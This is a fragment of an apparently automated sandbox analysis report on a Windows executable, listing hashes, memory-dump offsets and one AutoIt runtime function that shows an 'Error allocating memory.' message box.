                                                                                                                                                                                                          • Opcode Fuzzy Hash: d3682f88803cb2a3efb7847c83fab5a73234bf1983908037f6894d5424c159e3
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 4DD05E72B813013BE92076706D0FF8B26246B14710F010C2AB205AA1C0D4E8A4408358
                                                                                                                                                                                                          Function 00439514 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 8windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00439522
                                                                                                                                                                                                            • Part of subcall function 00411A1F: _doexit.LIBCMT ref: 00411A2B
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Message_doexit
                                                                                                                                                                                                          • String ID: AutoIt$Error allocating memory.
                                                                                                                                                                                                          • API String ID: 1993061046-4017498283
                                                                                                                                                                                                          • Opcode ID: 98c4a6cf209f69c689245cd57ea7e643062e7ce984d6ae84015e6f4dd77dfbd0
                                                                                                                                                                                                          • Instruction ID: 5d68346425d2699d55792fe39b85c2381918ba1f955abba655776c5540820644
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 98c4a6cf209f69c689245cd57ea7e643062e7ce984d6ae84015e6f4dd77dfbd0
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 82B092343C038627E20437A01C0BF8C28049B64F42F220C2AB308384D259D90080231E